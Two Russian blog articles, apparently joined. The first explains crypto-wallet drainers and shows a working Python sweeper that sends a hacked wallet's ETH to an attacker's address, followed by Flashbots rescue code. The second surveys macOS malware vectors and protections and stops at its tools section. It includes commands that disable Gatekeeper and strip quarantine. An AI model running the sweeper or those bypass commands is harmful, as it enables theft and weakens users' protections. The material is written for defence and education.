Содержание:

1. Введение
2. Дрейнер
   2.1. Алгоритм
   2.2. Реализация
3. Спасаем средства
   3.1. Приватные пулы
   3.2. Алгоритм
   3.3. Реализация
   3.4. Результат работы
4. Итоги

Подписывайтесь на канал cppmyk.inc.

1. Введение

В криптовалютном сообществе частенько можно наткнуться на людей, у которых украли приватный ключ или сид-фразу от одного или нескольких кошельков. Обычно в таком случае кошелек моментально лишается содержимого, но бывает и иначе, когда хакер не выводит все средства из кошелька которые, например, лежат в лендинговом протоколе или же пока еще не доступны для получения в случае дропов.

Задача по возвращению оставшихся средств со взломанного кошелька, хоть и кажется на первый взгляд довольно простой, на деле является практически невыполнимой для рядового пользователя. Виной тому запущенный дрейнер, который ворует с кошелька жертвы нативный токен сети, как только она пытается перевести его для оплаты комиссии.

Для человека, сколько-нибудь подкованного в программировании, разобраться с вышеупомянутой проблемой не представляет особой сложности, если он знаком с алгоритмом решения.

В данной статье мы разберем, что из себя представляет дрейнер и как с ним бороться. Иными словами, предоставим алгоритм спасения средств из скомпрометированного кошелька и его реализацию на языке Python.

Все примеры будут разобраны на блокчейне Ethereum.
Код на GitHub: link.

2. Дрейнер

Дрейнер (drainer/sweeper) — программное обеспечение, которое постоянно следит за изменениями баланса кошелька жертвы и ворует средства сразу после их поступления на счет, тем самым препятствуя попыткам жертвы забрать оставшиеся активы.

В большинстве случаев реализация такого софта достаточно примитивная и не требует глубокого понимания работы блокчейна. Один из вариантов разберем далее.

2.1 Алгоритм

Начнем с алгоритма:

1. Следим за появлением нового блока.
2. Проверяем баланс кошелька жертвы.
3. Если хватает нативного токена для оплаты комиссии трансфера, воруем деньги с кошелька.
4. Переходим к пункту 1.

2.2 Реализация

import time

from eth_account import Account
from eth_account.datastructures import SignedTransaction
from eth_account.signers.local import LocalAccount
from eth_typing import ChecksumAddress
from hexbytes import HexBytes
from web3 import Web3
from web3.types import Wei, TxParams

ETH_HTTP_URL: str = 'https://eth.llamarpc.com'
ETH_CHAIN_ID: int = 1

COMPROMISED_KEY: str = "private_key"

HACKER_ADDRESS: ChecksumAddress = Web3.to_checksum_address('address')
TRANSFER_GAS_LIMIT: int = 21000

w3: Web3 = Web3(Web3.HTTPProvider(ETH_HTTP_URL))
compromised: LocalAccount = Account.from_key(COMPROMISED_KEY)


def sweep() -> None:
    gas_price: Wei = w3.eth.gas_price
    account_balance: Wei = w3.eth.get_balance(compromised.address)

    if account_balance < gas_price * TRANSFER_GAS_LIMIT:
        return

    transaction: TxParams = {
        'chainId': ETH_CHAIN_ID,
        'from': compromised.address,
        'to': HACKER_ADDRESS,
        'value': account_balance - (gas_price * TRANSFER_GAS_LIMIT),
        'nonce': w3.eth.get_transaction_count(compromised.address),
        'gas': TRANSFER_GAS_LIMIT,
        'gasPrice': gas_price
    }

    signed: SignedTransaction = compromised.sign_transaction(transaction)

    tx_hash: HexBytes = w3.eth.send_raw_transaction(signed.rawTransaction)
    w3.eth.wait_for_transaction_receipt(tx_hash)

    print(f'Sweep transaction: {tx_hash.hex()}')


def main() -> None:
    block_filter = w3.eth.filter('latest')
    interval = 1

    while True:
        for block_hash in block_filter.get_new_entries():
            block = w3.eth.getBlock(block_hash)
            print(f"New Block: {block.number}")
            sweep()
        time.sleep(interval)


if __name__ == '__main__':
    main()

Такой неказистой реализации уже достаточно, чтобы среднестатистический пользователь бросил попытки спасения своих средств, так как вручную он это вряд ли сможет сделать.

Дрейнеры, разумеется, могут быть более изощренными. Например, они могут следить за пулом неподтвержденных транзакций с целью поиска взаимодействий с кошельком жертвы и более надежного предотвращения вывода активов. Но любые подобные реализации не могут ничего сделать против приватных пулов, которые мы рассмотрим далее.

3. Спасаем средства

Мы уже поняли, что руками противостоять sweeper-боту — не лучшая затея. Поэтому попытаемся автоматизировать процесс спасения средств.

Для начала рассмотрим технологии, которые будут полезны для наших задач, затем разберем алгоритм и его реализацию на Python, после чего увидим результат на Etherscan.

3.1. Приватные пулы

Ключевым элементом в борьбе с хакером является использование приватных пулов. Что же это такое?

При стандартном использовании сети пользователи отправляют подписанные транзакции нодам блокчейна, которые, в свою очередь, сохраняют их в структуре TxPool и начинают распространять между всеми подключенными пирами. Это делает мемпул полностью публичным и доступным каждому участнику сети, с некоторыми оговорками (частные ноды все-таки не имеют доступа ко всем неподтвержденным транзакциям из-за особенностей реализации).

Публичность дает возможность хакеру анализировать и фронтранить транзакции (ставить более высокий gas, за счет чего изменять свое положение в блоке), что будет мешать нам при попытке спасения средств.

Тут на помощь приходят приватные пулы, дающие следующие возможности:

• Отправка транзакции в обход публичного мемпула.
• Упаковка транзакций в так называемые бандлы (bundle, несколько транзакций в определенной последовательности).
• Избегание оплаты за провалившиеся транзакции (они либо включены в блок и выполнены успешно, либо не включены вовсе, если пользователь явно не указал, что допускает фейл некоторых транзакций).

Идея работы приватных пулов:

1. Пользователь отправляет одну или несколько транзакций (bundle) Builder-у блоков.
2. Builder создает самый оптимальный блок из доступных транзакций.
3. Builder отправляет блок в Relay.
4. Relay, получивший много возможных блоков от различных Builder-ов, выбирает среди них самый оптимальный.
5. Relay отправляет блок Validator-у.
6. Validator, получивший блоки от различных Relay-ев, выбирает самый оптимальный.
7. Validator создает блок (если сейчас его очередь).

Схематически это выглядит примерно так:

3.2. Алгоритм

Для примера представим следующую ситуацию: приватный ключ от нашего кошелька был украден, с баланса был выведен весь эфир, но при этом осталось некоторое количество ERC-20 токенов WETH, которые мы хотим вернуть себе.

Введем следующие обозначения:

• Rescuer — кошелек-донор, с которого мы будем отправлять средства для покрытия комиссии на скомпрометированном аккаунте.
• Compromised — кошелек, который был взломан хакером и контролируется дрейнером.

Теперь, когда мы узнали о приватных пулах, алгоритм спасения средств предельно прост:

1. Формируем бандл:
1. Депозит ETH для покрытия комиссии с кошелька Rescuer.
2. Взаимодействие с контрактом WETH и трансфер средств с Compromised на Rescuer.
2. Симулируем выполнение бандла через онлайн-симулятор (опционально, чтобы проверить его корректность).
3. Отправляем бандл билдеру.
4. Ждем включения в блок.

Если наш бандл является достаточно привлекательным для потенциального валидатора с точки зрения прибыльности (награда либо через комиссию, либо прямой перевод средств на его адрес), то мы с высокой вероятностью попадем в блок.

Следует также учитывать, какому билдеру вы отправляете, так как с некоторыми придется ждать включения в блок продолжительное время.

3.3. Реализация

from eth_account.datastructures import SignedTransaction
from eth_typing import ChecksumAddress, BlockNumber
from flashbots import flashbot
from web3 import Web3, HTTPProvider
from eth_account.account import Account
from eth_account.signers.local import LocalAccount
from web3.contract import Contract
from web3.exceptions import TransactionNotFound
from web3.types import TxParams, Wei

from erc20_abi import ERC20_ABI

RESCUER_KEY: str = ""
COMPROMISED_KEY: str = ""
FLASHBOTS_KEY: str = ""

ETH_CHAIN_ID: int = 1
ETH_HTTP_URL: str = 'https://eth.llamarpc.com'

WETH_CONTRACT_ADDRESS: ChecksumAddress = Web3.to_checksum_address('0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2')
WETH_TRANSFER_GAS_LIMIT: int = 100000
ETH_TRANSFER_GAS_LIMIT: int = 21000

WETH_AMOUNT_TO_RESCUE: Wei = Web3.to_wei(0.001, 'ether')

rescuer: LocalAccount = Account.from_key(RESCUER_KEY)
compromised: LocalAccount = Account.from_key(COMPROMISED_KEY)
signer: LocalAccount = Account.from_key(FLASHBOTS_KEY)

w3: Web3 = Web3(HTTPProvider(ETH_HTTP_URL))
flashbot(w3, signer)


def build_erc20_transfer_transaction(sender_address: ChecksumAddress, destination_address: ChecksumAddress,
                                     amount: Wei, gas_price: Wei, nonce: int) -> TxParams:
    contract: Contract = w3.eth.contract(address=WETH_CONTRACT_ADDRESS, abi=ERC20_ABI)

    tx: TxParams = contract.functions.transfer(destination_address, amount).build_transaction(
        {
            'from': sender_address,
            'gas': WETH_TRANSFER_GAS_LIMIT,
            'gasPrice': gas_price,
            'nonce': nonce
        }
    )

    return tx


def build_send_transaction(destination_address: ChecksumAddress, amount: Wei, gas_price: Wei, nonce: int) -> TxParams:
    tx: TxParams = {
        'to': destination_address,
        'value': amount,
        'gas': ETH_TRANSFER_GAS_LIMIT,
        'gasPrice': gas_price,
        'nonce': nonce,
        'chainId': ETH_CHAIN_ID
    }

    return tx


def main():
    print(f'Rescuer address: {rescuer.address}')
    print(f'Compromised address: {compromised.address}')
    print('-' * 100)

    gas_price: Wei = w3.eth.gas_price
    eth_to_cover_transfer: Wei = Wei(gas_price * WETH_TRANSFER_GAS_LIMIT)

    rescuer_nonce: int = w3.eth.get_transaction_count(rescuer.address)
    deposit_tx: TxParams = build_send_transaction(compromised.address, eth_to_cover_transfer, gas_price, rescuer_nonce)
    deposit_tx_signed: SignedTransaction = rescuer.sign_transaction(deposit_tx)

    compromised_nonce: int = w3.eth.get_transaction_count(compromised.address)
    weth_transfer_tx: TxParams = build_erc20_transfer_transaction(compromised.address, rescuer.address,
                                                                  WETH_AMOUNT_TO_RESCUE, gas_price, compromised_nonce)
    weth_transfer_tx_signed: SignedTransaction = compromised.sign_transaction(weth_transfer_tx)

    bundle = [
        {'signed_transaction': deposit_tx_signed.rawTransaction},
        {'signed_transaction': weth_transfer_tx_signed.rawTransaction},
    ]

    while True:
        block: BlockNumber = w3.eth.block_number

        print(f'Simulating on block {block}')
        try:
            w3.flashbots.simulate(bundle, block)
            print('Simulation successful.')
            print()
        except Exception as e:
            print("Simulation error", e)

        print(f"Sending bundle targeting block {block + 1}")

        send_result = w3.flashbots.send_bundle(
            bundle,
            target_block_number=block + 1
        )
        print("bundleHash", w3.toHex(send_result.bundle_hash()))

        stats_v2 = w3.flashbots.get_bundle_stats_v2(
            w3.toHex(send_result.bundle_hash()), block
        )
        print("bundleStats v2", stats_v2)

        try:
            receipts = send_result.receipts()
            print(f"Bundle was mined in block {receipts[0].blockNumber}")
            break
        except TransactionNotFound:
            print(f"Bundle not found in block {block + 1}")
        print('-' * 100)

    print('Finished')


if __name__ == "__main__":
    main()

FLASHBOTS_KEY — это приватный ключ, который используется для подписания бандла. Он не обязан соответствовать какому-то реальному кошельку. Flashbots использует этот механизм в своей системе репутации пользователей.

3.4. Результат работы

Что ж, проверим на практике.

Подождав некоторое время, бандл был включен в блок 19924093.

Транзакция с кошелька-донора (11-е место в блоке) - link.
Транзакция со скомпрометированного кошелька (12-е место в блоке) - link.

Как мы видим, транзакции были включены друг за другом, как мы и хотели. А кроме того, прошли в обход публичного пула транзакций, следовательно хакер бы их не увидел.

4. Итоги

Подписывайтесь на канал cppmyk.inc.

Содержание:

1. Введение
2. Способы заражения
   2.1. Фальшивые приложения
   2.2. Фальшивые обновления
   2.3. Пиратские/взломанные приложения
   2.4. Зараженные приложения
   2.5. Атаки на разработчиков
   2.6. Макросы Microsoft Office
   2.7. Атаки на цепь поставок
   2.8. Эксплойты
3. Механизмы защиты в macOS
   3.1. Карантин
   3.2. Подписи
   3.3. XProtect
   3.4. Нотаризация
   3.5. Gatekeeper
   3.6. TCC
4. Закрепление в системе
   4.1. Login Items
   4.2. Launch Agents & Daemons
5. Полезные утилиты
   5.1. LuLu
   5.2. KnockKnock
   5.3. BlockBlock
   5.4. What's Your Sign
   5.5. KeePassXC
6. Анализ вируса Atomic macOS Stealer (AMOS)
   6.1. Распространение
   6.2. Статический анализ
   6.2.1. GrabChromium
   6.2.2. keychain
   6.2.3. FileGrabber
   6.2.4. GrabFirefox
   6.2.5. ColdWallets
   6.2.6. sendlog
   6.3. Динамический анализ
7. Итоги

Подписывайтесь на канал cppmyk.inc.

1. Введение

macOS имеет репутацию неприступной системы, для которой вирусов либо вообще не существует, либо встроенные средства защиты настолько мощные, что на них можно не обращать внимание.

Разумеется, это не соответствует действительности и вина в популярности этого заблуждения лежит на самой компании Apple: ее заявлениях о том, что их компьютеры не восприимчивы к вирусам, и на подобных рекламах.

Во время распространения этих мифов, система борьбы с вредоносным программным обеспечением в устройствах под управлением macOS оставляла желать лучшего. Тем не менее, с того момента Apple постепенно стремилась улучшать безопасность своих пользователей, вводя новые и более современные механизмы, способствующие обеспечению этой самой безопасности.

Несмотря на это, количество вирусов для macOS постоянно увеличивается. Согласно ежегодным отчетам Objective-See, количество найденного ранее незамеченного вредоносного программного обеспечения за предыдущие года было следующим:

• 2020 год - 7 экземпляров
• 2021 год - 8 экземпляров
• 2022 год - 13 экземпляров
• 2023 год - 20 экземпляров

Одна из причин - доля компьютеров Apple на рынке увеличивается. Если раньше разработчикам подобного рода софта не было резона адаптировать его под macOS, так как ей пользуется незначительное количество людей, то сейчас этот смысл вырисовывается и все большее количество злоумышленников обращают свое внимание на эту систему.

В этой статье мы изучим текущее состояние встроенных механизмов защиты и сосредоточимся только на программной части. То есть, возможные атаки на физические компоненты не будут рассмотрены, хотя они имеют место быть.

Также, будут рассмотрены популярные векторы атаки на пользователей и полезные программы, которые могут служить дополнительным слоем защиты.

В конце мы подробно разберем недавний и все еще популярный троян, ворующий данные - Atomic macOS Stealer (AMOS). На этом примере можно ознакомиться с процессом анализа вредоносных приложений, разработанных для macOS.

2. Способы заражения

Способом заражения, или вектором атаки, мы будем называть процесс, при помощи которого вредоносная программа может быть запущена в системе.

В большинстве случаев вирус не попадает в систему скрытно (хотя такое также возможно и будет рассмотрено в данной главе), а проникает с активного согласия ее владельца. Файл должен быть каким-то образом доставлен в систему и запущен на ней.

Таким образом, основной метод заражения состоит в том, чтобы обмануть пользователя и заставить его запустить вирус самостоятельно.

Использование нескольких векторов атак одновременно не является редкостью, а их разделение достаточно условно. Тем не менее, давайте попытаемся подробнее рассмотреть наиболее часто встречающиеся среди них.

2.1. Фальшивые приложения

Вредоносное ПО часто маскируется под безобидные популярные приложения. Сайт, как и функционал зараженного приложения, могут один в один соответствовать оригиналу (за исключением URL сайта и подписей, которые мы рассмотрим далее), что не вызовет никаких подозрений у рядового пользователя.

Как пример, можем рассмотреть OSX.ZuRu - вирус, который маскировался под известный эмулятор терминала iTerm2.

Сайт идентичен тому, с которого можно скачать оригинальное приложение.

Можно выделить следующий интересный момент с точки зрения вектора атаки: ссылка на фейковый сайт была первой в списке китайского поисковика Baidu за счет приобретенного спонсорства (у Google также есть такой функционал):

2.2. Фальшивые обновления

Похожий на предыдущий вектор атаки - представление вируса в виде обновления знакомого вам приложения.

Маскировка под Adobe Flash Player стара как мир, но при этом не перестает использоваться злоумышленниками, что, вероятно, говорит о ее эффективности - пользователи продолжают вестись на этот обман.

2.3. Пиратские/взломанные приложения

Apple предоставляет множество встроенных механизмов, которые обеспечивают безопасность системы (рассмотрим их в следующей главе). macOS по умолчанию считает приложение небезопасным и препятствует его распространению различными способами. Для создания доверия к своему приложению, разработчик должен провести ряд действий, таких как получение сертификата для подписи, подпись содержимого и его нотаризация (проверка на серверах Apple).

Для обхода лицензии необходимо модифицировать целевое приложение, что, в свою очередь, сломает его оригинальную подпись. Это означает, что практически все такие образцы не имеют никаких гарантий безопасности. И если пользователь не обладает достаточными знаниями в анализе вредоносного программного обеспечения, он подвергает свой компьютер большому риску.

Один из надежных способов заразить свой компьютер - скачивание и установка пиратского приложения.

2.4. Зараженные приложения

В то время как в предыдущих векторах атаки вирусы стараются мимикрировать под добропорядочные приложения, которые всем знакомы, существуют также варианты атак, когда вредоносное программное обеспечение разрабатывается в виде нового проекта.

Рассмотрим на примере вируса OSX.ElectroRAT.

Для него был создан правдоподобный сайт, который предоставлял торговый терминал для криптовалютных бирж, поддерживащий три операционные системы (Windows, macOS и Linux).

После скачивания версии для macOS, пользователь мог увидеть приложение eTrade.app, выглядящее вполне себе легитимно.

Одновременно с появлением интерфейса, пользователь также получал к себе в систему полнофункциональный Remote Access Trojan (RAT) с практически неограниченным доступом к системе.

Разбор OSX.ElectroRAT можно найти тут.

В качестве следующего примера рассмотрим стиллер OSX.PureLand, который был также таргетирован на крипто-пользователей.

Pure Land, на первый взгляд, имела все признаки типичной Play-To-Earn игры:

• Веб-сайт, показывающий трейлер геймплея

• Закрытая альфа-версия, для доступа к которой необходим код

• NFT коллекция

• Twitter с фейковой или проплаченной поддержкой проекта

Для распространения "игры" некий Satomi See, у которого в описании профиля было написано "Project Manager: Pure Land", писал личные сообщения пользователям твиттера и предлагал протестировать игру за различные плюшки - NFT, токены и подобное.

Также была взломана почта одного из работников популярной блокчейн игры The Sandbox, с которой в дальнейшем проводилась рассылка с рекламой трояна.

Сам вирус представлял из себя самый обычный стиллер, ворующий данные из браузеров и криптокошельков. Более детальный разбор OSX.PureLand можно найти по ссылке.

2.5. Атаки на разработчиков

Злоумышленники обычно используют этот метод распространения для заражения библиотек, инструментов разработки или проектов, хранящихся на платформах с открытым исходным кодом, таких как GitHub, GitLab и другие.

Из примеров можем выделить Python пакеты, которые после установки подарят вашей системе дополнительный бэкдор (ссылка).

А также непроверенные Xcode проекты, которые во время сборки приложения выполняют произвольный вредоносный код (ссылка).

2.6. Макросы Microsoft Office

Microsoft Office предоставляет возможность автоматизировать рутинные действия в своих документах с помощью макросов (код, обычно написанный на Visual Basic). И хоть макросы сами по себе не являются злом, при желании их можно применить во вред и установить вредоносное программное обеспечение на компьютер жертвы.

При открытии Word документа, содержащего макросы, появляется окно, оповещающее о наличии этих самых макросов. Следует с осторожностью относится к таким файлам и разрешать использовать макросы только тем, которые имеют высокий кредит доверия.

2.7. Атаки на цепь поставок

Атаки на цепь поставок (Supply chain attacks) изначально направлены на распространителей добропорядочных приложений. Если хакер получает доступ к инфраструктуре разработчика, он может манипулировать процессом сборки, внедряя вирусное содержимое в оригинальные пакеты.

Такой способ атаки очень эффективен, так как его сложно заметить. Троянизированное приложение будет подписано действительным сертификатом разработчика и, вероятно, успешно пройдет автоматизированную проверку от Apple, что позволит без проблем распространять его.

Примером такой атаки может служить инцидент с компанией 3CX в начале 2023 года. Были заражены сервера компании, на которых собирались приложения, готовые к распространению. Apple успешно проверила сборку и нотаризовала ее, тем самым дав добро на запуск на всех современных операционных системах macOS. Подробнее здесь.

2.8. Эксплойты

Эксплойт - это вредоносный код, который использует уязвимости в приложении для распространения вирусов.

Один из самых опасных типов атак - эксплойты, использующие уязвимость нулевого дня. Уязвимость нулевого дня представляет собой баг в безопасности приложения, о котором разработчик ещё не знает, и, соответственно, не выпущен патч для её устранения.

Опасность таких эксплойтов заключается в том, что пользователь может даже не взаимодействовать с вредоносными исполняемыми файлами, но при этом система может быть заражена.

В 2019 году была обнаружена zero-day уязвимость в браузере Firefox, позволяющая выполнить произвольный код, содержащийся на вредоносном сайте (ссылка).

Также, в марте 2024 года, был обнаружен бэкдор в open-source библиотеке xz, которая предоставляет функционал сжатия и используется огромным количеством пользователей (ссылка).

3. Механизмы защиты в macOS

После того, как мы разобрались со способами заражения, пришло время понять, какие встроенные защитные механизмы предоставляет macOS.

В отличие от операционной системы Windows, где роль защитника выполняет привычный всем антивирус Windows Defender (теперь известный как Microsoft Defender Antivirus), в macOS нет одного основного приложения, ответственного за безопасность. Вместо этого система предоставляет набор механизмов и утилит, тесно взаимосвязанных. Каждый из них является своего рода строительным блоком целой системы безопасности, создающей множество преград для вредоносного программного обеспечения.

Все эти компоненты мы рассмотрим отдельно.

3.1. Карантин

Карантин - это функция безопасности в macOS, предназначенная для защиты компьютера от потенциально опасных файлов, полученных извне. Она появилась в Mac OS X Leopard (версия 10.5) в 2007 году.

Когда пользователь загружает файл из Интернета, получает его по электронной почте или через AirDrop, приложение, ответственное за это действие, устанавливает на файл атрибут карантина (com.apple.quarantine).

Каждый раз, при попытке запустить исполняемый файл, macOS проверяет, не прикреплен ли к файлу атрибут карантина. Если это так, то при первой попытке открыть его macOS выведет предупреждение о том, что файл был загружен из Интернета, и спросит, уверены ли вы, что хотите его открыть. Это предупреждение не только дает вам возможность сделать паузу и подумать, безопасен ли файл, прежде чем открывать его, но также запускает последующую цепочку проверок, которую мы рассмотрим далее.

После успешного запуска приложения, атрибут карантина будет удален и приложение будет считаться доверенным.

Все файлы, попадающие на устройство из недоверенного источника, автоматически получают атрибут карантина. При этом система отображает диалоговое окно с предупреждением и запускает проверку только для тех файлов, которые могут быть выполнены в качестве программ (следовательно, они также могут содержать вредоносную логику). Благодаря этому пользователь может не беспокоиться о запуске текстовых файлов, медиафайлов и подобных, так как macOS предварительно проверяет их на наличие исполняемых компонентов.

Отобразить список атрибутов файла и проверить, есть ли у него атрибут карантина, можно таким образом:

xattr -l <path-to-file>

Также, атрибут можно удалить вручную:

xattr -d <path-to-file>

Карантин сам по себе никак не связан с проверкой файла на вирусы, тем не менее, он является важным строительным блоком, на который опираются другие механизмы.

До появления карантина файлов macOS имела некоторые базовые механизмы защиты от вредоносного ПО, но они не были столь надежными, как функции, появившиеся благодаря карантину файлов и дальнейшим усовершенствованиям системы безопасности.

3.2. Подписи

Следующим важным строительным блоком безопасности является подпись исполняемого кода. Apple впервые представила данный функционал в Mac OS X Leopard (версия 10.5), которая вышла в октябре 2007 года.

Механизм подписи кода основан на асимметричной криптографии. Разработчик, который планирует распространять свои программы, получает от Apple сертификат, связанный с приватным ключом. Эта пара образует так называемую Digital Identity, с помощью которой можно подписывать исполняемые файлы, что в конечном итоге дает возможность любому проверить эту подпись.

Из этой возможности вытекают следующие плюсы:

• Идентификация кода как исходящего от конкретного источника, так как из подписи можно однозначно узнать владельца сертификата. Из чего следует закономерное доверие к известным разработчикам
• Уверенность в том, что код не был никак модифицирован после подписания изначальным разработчиком, так как малейшее изменение делает подпись невалидной

Проверить подпись можно как с помощью CLI утилит:

spctl -a -vv <path-to-file>

codesign -dvvv <path-to-file>

Так и с помощью приложения What's Your Sign (WYS):

Если сертификат каким-то образом был скомпроментирован, или замечен в подписании вредоносного ПО, он будет отозван.

Система безопасности macOS в лице Gatekeeper-а по умолчанию запрещает пользователю запускать приложения с невалидной или полностью отсутствующей подписью.

Следует понимать, что подпись, хоть и значительно повышает доверие к исполняемому файлу, не является гарантией его добропорядочности. Digital Identity может быть как украдена, так и создана на подставном/взломанном аккаунте.

3.3. XProtect

XProtect, изначально представленный в Mac OS X Snow Leopard (версия 10.6) в 2009 году, призван защищать пользователя от известных угроз. На текущий момент он состоит из трех компонентов.

1. XProtect - это предельно старое решение для обнаружения вредоносных программ на основе сигнатур, которое проверяет наличие вредоносного содержимого при запуске приложения или отдельного бинарного файла.

Работая на основе сигнатур известных вирусов, XProtect имеет значительные проблемы с реагированием на новые образцы, которые еще не попали к нему в базу.

Если раньше XProtect исследовал исключительно файлы с установленным атрибутом карантина, то сейчас, начиная с macOS Catalina, он проверяет все исполняемые файлы.

2. XProtect Remediator (XPR) - дополнение к стандартному XProtect, введенное в macOS Monterey 12.3 (март 2022), отвечающее за периодическое сканирование системы для поиска и удаления известных вредоносов (тоже базируется на сигнатурах).

3. XProtect BehaviorService (XBS) - самый новый компонент защиты, представленный в macOS Ventura 13 (октябрь 2022). В отличие от своих предшественников, базирующихся на статическом анализ, XBS нацелен на выявление вредоносного поведения (динамический анализ). Под таким поведением можно понимать, например, доступ к внутренним папкам браузеров, которые содержат конфиденциальные данные.

На текущий момент XProtect BehaviorService не принимает никаких действий по обезвреживанию вредоносного поведения, а только регистрирует такие события.

3.4. Нотаризация

Нотаризация - процесс, представленный в macOS Mojave (версия 10.14.5) в 2019 году, который обязывает всех разработчиков, желающих распространять свои приложения вне App Store, предварительно отправлять его на сервера Apple для обследования на вредоносный контент, проверку корректности подписей и некоторых других требований. Приложения из App Store проходят ручную проверку перед допуском с магазину, поэтому не нуждаются в автоматической нотаризации.

Успешно нотаризованое приложение, скачанное из интернета, при запуске отображает следующее окно:

В противном случае, если приложение не было нотаризовано, его запуск на современных системах будет запрещен Gatekeeper-ом по умолчанию.

Из случая атаки на инфраструктуру 3CX, описанного выше, мы можем понять, что Apple не всегда корректно проверяет исполняемые файлы во время нотаризации и вредоносное ПО также может быть успешно нотаризовано в некоторых ситуациях.

3.5. Gatekeeper

Одним из главных элементов системы безопасности macOS является Gatekeeper, который мы уже упоминали в ходе статьи. Gatekeeper представляет собой не просто отдельное исполняемое приложение, схожее с антивирусом в Windows, а скорее совокупность политик безопасности и технологий, работающих вместе для обеспечения защиты пользователей от запуска недоверенного программного обеспечения.

Он существует еще со времен OS X Mountain Lion (версия 10.8), июль 2012. При этом постоянно улучшается и обрастает новым функционалом.

В качестве составных частей Gatekeeper-а можно выделить механизмы, рассмотренные выше. Поэтому, говоря о нем, в основном имеют в виду связку Quarantine + Notarization + Gatekeeper + XProtect.

Безопасность обеспечивается следующим образом:

• Сканирование вредоносного контента (XProtect) - Gatekeeper сканирует загруженное программное обеспечение на наличие известного вредоносного контента перед его запуском
• Проверка подписи - Gatekeeper проверяет, что программное обеспечение было подписано определенным разработчиком и не было изменено
• Проверка нотаризации - Gatekeeper смотрит, была ли нотаризована программа. Если разработчик вложил нотаризационный билет, проверка может быть осуществлена локально, в ином случае - необходимо обратиться на сервера Apple для верификации
• Проверка политик безопасности - Gatekeeper обеспечивает следование правилам безопасности, установленных пользователем. Например, разрешая запускать только программное обеспечение из Mac App Store или от известных разработчиков
• Первоначальное предупреждение при запуске (Карантин) - Gatekeeper запрашивает разрешение у пользователя при первой попытке открыть загруженное приложение, чтобы убедиться, что он намерен его запустить.

Важно заметить, что практически все проверки, за исключением XProtect, проводятся только когда файл находится в карантине (имеет атрибут com.apple.quarantine).

Если какое-то обязательное требование безопасности не было удовлетворено - Gatekeeper запрещает запуск приложения. Но, если пользователь очень хочет это сделать, то у него никто не забирает эту возможность. Рассмотрим несколько способов, как это можно осуществить:

1. Отключить Gatekeeper

sudo spctl --master-disable

2. Удалить атрибут карантина

xattr -dr com.apple.quarantine <path-to-file>

3. Открыть исполняемый файл через контекстное меню (ПКМ + Open)

4. Запустить файл, заблокированный Gatekeeper-ом, после чего перейти в настройки безопасности и нажать Open Anyway

В то время как перечисленные способы отключения Gatekeeper-а требуют явного вмешательства пользователя, исследователи безопасности также периодически обнаруживают обходы этого механизма. Любой способ обойти Gatekeeper, то есть заставить пользователя загрузить что-то и выполнить, когда Gatekeeper должен это запретить, считается уязвимостью macOS.

В 2021 году Patrick Wardle нашел одну из таких уязвимостей, которая позволяла запускать недоверенный код. Выглядело это примерно так:

Apple быстро исправила проблему, но это, разумеется, не гарантирует, что создатели вредоносного ПО не найдут нового изысканного эксплойта.

3.6. TCC

TCC (Transparency, Consent, and Control) - механизм, отвечающий за доступ приложений к пользовательским данным. Был введен в OS X Mojave (сентябрь 2018) и улучшен в OS X Catalina (октябрь 2019).

Идея простая - пользователь должен явно разрешить приложению иметь доступ к данным, которые могут считаться конфиденциальными. Изменить эти разрешения можно в настройках безопасности.

Среди основных можно выделить:

• Микрофон
• Камера
• Полный доступ к диску
• Запись экрана
• Захват нажатий клавиш

Для примера можем попытаться отобразить содержимое внутренней директории браузера Safari через Python скрипт.

import os
os.listdir("/Users/user/Library/Safari")

В том случае, если мы не предоставили скрипту разрешение на доступ ко всему диску, следующая ошибка будут отображена:

PermissionError: [Errno 1] Operation not permitted: '/Users/user/Library/Safari'

Стоит воспринимать этот функционал как дополнительный слой защиты, который может предотвратить атаку. При этом не стоит бездумно полагаться на него, так как существуют варианты обхода, которыми успешно пользуются опытные разработчики вредоносных приложений.

4. Закрепление в системе

Запуск трояна, ворующего данные это, конечно, неприятно, но обнаружение того, что ваш компьютер уже год является частью ботнета - еще хуже.

В этой главе мы разберем, какие основные механизмы закрепления предоставляет система для программного обеспечения. Все они по умолчанию являются легитимными и могут быть использованы обычным софтом.

Если вирус использует один способ закрепления в системе, это совсем не означает что он не использует другой в дополнение. Таким образом, пользователь, заметив и удалив один элемент автозагрузки, может ошибочно подумать что ему ничего не угрожает. Такое предположение не всегда является правдой.

Просканировать свое устройство можно при помощи утилиты KnockKnock.

4.1. Login Items

Login Items - способ закрепления в системе, при котором приложение запускается после успешного логина в систему и наследует права пользователя.

Список приложений, использующих эту функцию можно проверить в
Settings -> General -> Login Items.

4.2. Launch Agents & Daemons

Launch Agents и Launch Daemons - это два механизма в macOS, которые дают возможность запускать и управлять фоновыми процессами на компьютере.

1. Launch Agents: Это механизм, который позволяет запускать процессы от имени пользователя при входе в систему.
2. Launch Daemons: Это механизм, который позволяет запускать процессы от имени системы (root) при запуске компьютера, независимо от того, вошел ли в систему пользователь.

Оба этих механизма используют специальные файлы конфигурации типа plist, строго размещаемого по определенному маршруту, чтобы определить, какие программы следует запускать, когда и с какими параметрами.

Файлы списка свойств (Property list, plist) - это тип файлов, используемых в macOS для хранения данных конфигурации в структурированном формате. По сути, это XML или бинарные файлы, содержащие пары ключ-значение.

Пример простого plist файла, который определяет демона:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
	<dict>
		<key>Label</key> <!--Имя демона-->
		<string>com.example.app</string>
		<key>Program</key> <!--Путь к исполняемому файлу-->
		<string>/opt/directory/executable</string>
		<key>RunAtLoad</key> <!--Булевое значение, определяющее будет ли система запускать демона после автозагрузки-->
		<true/>
	</dict>
</plist>

Конфигурационные файлы для Launch Agent могут быть замещены по следующим маршрутам:

• ~/Library/LaunchAgents (Пользовательские агенты)
• /Library/LaunchAgents (Глобальные агенты)

В то время как для демона существует только одна локация, так как они по умолчанию глобальные:

• /Library/LaunchDaemons

Launch Agent для какой-то вспомогательной утилиты Steam-а выглядит так:

5. Полезные утилиты

Как мы теперь знаем, компоненты, обеспечивающие безопасность macOS, далеко не идеальны и имеют свои изъяны. Пришло время рассмотреть утилиты, которые могут помочь рядовому пользователю усилить защиту системы.

Все нижеперечисленные программы бесплатны и имеют открытый исходный код.

5.1. LuLu

LuLu - брандмауэр (firewall), с помощью которого можно контролировать исходящие соединения - запрещать подозрительные и разрешать проверенные.

